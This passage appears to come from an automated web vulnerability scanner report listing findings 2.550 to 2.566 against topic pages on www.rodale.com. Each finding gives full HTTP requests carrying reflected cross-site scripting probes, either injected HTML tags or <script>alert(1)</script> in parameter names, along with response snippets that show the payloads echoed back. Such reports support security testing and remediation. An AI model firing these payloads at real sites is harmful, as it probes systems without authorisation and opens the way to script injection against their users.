The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a40ab"><a>5a60aafbcc9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/gluten-free-fooda40ab"><a>5a60aafbcc9 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:45 GMT
Date: Thu, 10 Mar 2011 17:13:45 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-gluten-free-fooda40ab"><a>5a60aafbcc9 node node-958">
...[SNIP]...

2.550. http://www.rodale.com/topic/gluten-free-food [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/gluten-free-food

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21aa9"><script>alert(1)</script>5c2c8465dfe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/gluten-free-food?21aa9"><script>alert(1)</script>5c2c8465dfe=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:03 GMT
Date: Thu, 10 Mar 2011 17:13:03 GMT
Content-Length: 30618
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/gluten-free-food?21aa9"><script>alert(1)</script>5c2c8465dfe=1" title="Register" class="moreLink">
...[SNIP]...

2.551. http://www.rodale.com/topic/green-building [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/green-building

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 715bd"><a>ee256730168 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic715bd"><a>ee256730168/green-building HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:03 GMT
Date: Thu, 10 Mar 2011 17:13:03 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic715bd"><a>ee256730168 topic715bd">
...[SNIP]...

2.552. http://www.rodale.com/topic/green-building [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/green-building

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f1bf"><a>d7c9941bccb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/green-building6f1bf"><a>d7c9941bccb HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:40 GMT
Date: Thu, 10 Mar 2011 17:13:40 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-green-building6f1bf"><a>d7c9941bccb node node-958">
...[SNIP]...

2.553. http://www.rodale.com/topic/green-building [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/green-building

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8bbc"><script>alert(1)</script>37885f5fc7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/green-building?c8bbc"><script>alert(1)</script>37885f5fc7=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:01 GMT
Date: Thu, 10 Mar 2011 17:13:01 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33135

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/green-building?c8bbc"><script>alert(1)</script>37885f5fc7=1" title="Register" class="moreLink">
...[SNIP]...

2.554. http://www.rodale.com/topic/green-funerals [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/green-funerals

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 250ef"><a>2afcea65120 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic250ef"><a>2afcea65120/green-funerals HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:05 GMT
Date: Thu, 10 Mar 2011 17:13:05 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic250ef"><a>2afcea65120 topic250ef">
...[SNIP]...

2.555. http://www.rodale.com/topic/green-funerals [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/green-funerals

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5865"><a>08970333de8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/green-funeralsd5865"><a>08970333de8 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:42 GMT
Date: Thu, 10 Mar 2011 17:13:42 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-green-funeralsd5865"><a>08970333de8 node node-958">
...[SNIP]...

2.556. http://www.rodale.com/topic/green-funerals [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/green-funerals

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50bd1"><script>alert(1)</script>da87d7d8f37 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/green-funerals?50bd1"><script>alert(1)</script>da87d7d8f37=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:43:02 GMT
Date: Thu, 10 Mar 2011 17:13:03 GMT
Content-Length: 30402
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/green-funerals?50bd1"><script>alert(1)</script>da87d7d8f37=1" title="Register" class="moreLink">
...[SNIP]...

2.557. http://www.rodale.com/topic/green-products-and-gifts [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/green-products-and-gifts

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c7fb"><a>f3e4f780104 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic6c7fb"><a>f3e4f780104/green-products-and-gifts HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:12 GMT
Date: Thu, 10 Mar 2011 17:13:12 GMT
Content-Length: 22543
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic6c7fb"><a>f3e4f780104 topic6c7fb">
...[SNIP]...

2.558. http://www.rodale.com/topic/green-products-and-gifts [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/green-products-and-gifts

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0af7"><a>e9ceff9f487 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/green-products-and-giftsd0af7"><a>e9ceff9f487 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:47 GMT
Date: Thu, 10 Mar 2011 17:13:47 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-green-products-and-giftsd0af7"><a>e9ceff9f487 node node-958">
...[SNIP]...

2.559. http://www.rodale.com/topic/green-products-and-gifts [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/green-products-and-gifts

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae2bd"><script>alert(1)</script>73074f7b6dd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/green-products-and-gifts?ae2bd"><script>alert(1)</script>73074f7b6dd=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:09 GMT
Date: Thu, 10 Mar 2011 17:13:09 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33039

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/green-products-and-gifts?ae2bd"><script>alert(1)</script>73074f7b6dd=1" title="Register" class="moreLink">
...[SNIP]...

2.560. http://www.rodale.com/topic/greenhouse-gases [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/greenhouse-gases

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57d6c"><a>e0673cc0f16 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic57d6c"><a>e0673cc0f16/greenhouse-gases HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:11 GMT
Date: Thu, 10 Mar 2011 17:13:11 GMT
Content-Length: 22519
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic57d6c"><a>e0673cc0f16 topic57d6c">
...[SNIP]...

2.561. http://www.rodale.com/topic/greenhouse-gases [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/greenhouse-gases

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77b78"><a>e60741a0480 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/greenhouse-gases77b78"><a>e60741a0480 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:44 GMT
Date: Thu, 10 Mar 2011 17:13:44 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-greenhouse-gases77b78"><a>e60741a0480 node node-958">
...[SNIP]...

2.562. http://www.rodale.com/topic/greenhouse-gases [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/greenhouse-gases

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfbcc"><script>alert(1)</script>d1e7f28f637 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/greenhouse-gases?bfbcc"><script>alert(1)</script>d1e7f28f637=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:09 GMT
Date: Thu, 10 Mar 2011 17:13:09 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32990

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/greenhouse-gases?bfbcc"><script>alert(1)</script>d1e7f28f637=1" title="Register" class="moreLink">
...[SNIP]...

2.563. http://www.rodale.com/topic/greenwashing [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/greenwashing

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d436"><a>52941e2cf18 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic8d436"><a>52941e2cf18/greenwashing HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:12 GMT
Date: Thu, 10 Mar 2011 17:13:12 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic8d436"><a>52941e2cf18 topic8d436">
...[SNIP]...

2.564. http://www.rodale.com/topic/greenwashing [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/greenwashing

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9701"><a>221f8ddf3f1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/greenwashingc9701"><a>221f8ddf3f1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:51 GMT
Date: Thu, 10 Mar 2011 17:13:51 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-greenwashingc9701"><a>221f8ddf3f1 node node-958">
...[SNIP]...

2.565. http://www.rodale.com/topic/greenwashing [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/greenwashing

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b69b"><script>alert(1)</script>4f00a529035 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/greenwashing?4b69b"><script>alert(1)</script>4f00a529035=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:10 GMT
Date: Thu, 10 Mar 2011 17:13:10 GMT
Content-Length: 31384
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/greenwashing?4b69b"><script>alert(1)</script>4f00a529035=1" title="Register" class="moreLink">
...[SNIP]...

2.566. http://www.rodale.com/topic/grilling-tips [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/grilling-tips

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6374e"><a>c7c5bf092c1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic6374e"><a>c7c5bf092c1/grilling-tips HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
